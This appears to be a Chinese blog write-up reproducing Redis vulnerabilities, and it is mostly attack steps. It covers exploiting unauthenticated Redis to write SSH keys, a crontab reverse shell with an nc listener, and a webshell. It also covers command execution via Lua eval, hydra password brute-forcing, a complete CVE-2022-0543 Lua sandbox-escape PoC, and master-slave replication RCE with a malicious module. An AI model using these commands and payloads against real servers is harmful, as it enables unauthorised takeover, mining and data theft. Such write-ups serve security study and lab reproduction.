redis漏洞复现
单纯漏洞复现,原理后面再了解了0.0
参考:
https://blog.csdn.net/guxiaoguo/article/details/78913245
https://zhuanlan.zhihu.com/p/46467265
https://blog.csdn.net/beichenyyds/article/details/123256319
https://blog.csdn.net/YouthBelief/article/details/121020672
https://www.cnblogs.com/xiaozi/p/13089906.html
redis未授权
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。 部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的watch-smartd挖矿木马
写公钥
1 | ssh-keygen -t rsa |
在crontab里写定时任务,反弹shell
原理是和写公钥一样的,只是变换一下写入的内容和路径,数据库名。
- 首先在客户端这边监听一个端口(随便一个端口就好,不要冲突就好)
1 | nc -l 4444 |
- 连接redis,写入反弹shell
1 | ./redis-cli -h 192.168.152.128 |
在web目录下写入webshell
通过redis在指定的web目录下写入一句话木马,用菜刀连接可达到控制服务器的目的。
- 远程连接redis,写入webshell
1 | ./redis-cli -h 192.168.152.128 |
利用redis执行命令
redis 2.6以前的版本内置了lua脚本环境,在有连接redis服务器的权限下,可以利用lua执行系统命令。
- 本地建立一个lua脚本
1 | vim hello.lua |
- 在客户端连接redis服务器并执行hello.lua
1 | ./redis-cli eval "$(cat hello.lua)" 0 -h 192.168.152.128 |
利用hydra暴力破解redis的密码
使用hydra工具可以对redis进行暴力破解
1 | hydra -P passwd.txt redis://192.168.152.128 |
Redis Lua沙盒绕过 命令执行(CVE-2022-0543)
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。 Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。 我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令
poc
1 | eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0 |
1 | 影响版本 |
Redis未授权漏洞(CNVD-2019-21763)
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。 由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。
redis主从复制(一种攻击方式)
redis主从RCE打多了会出现redis瘫痪的情况,所以不到万不得已,尽量不要打主从,把攻击机作为主机
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。
然后在从机上加载so文件,我们就可以执行拓展的新命令了。
1 | git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand |
1 | 把module.so复制过去 |
help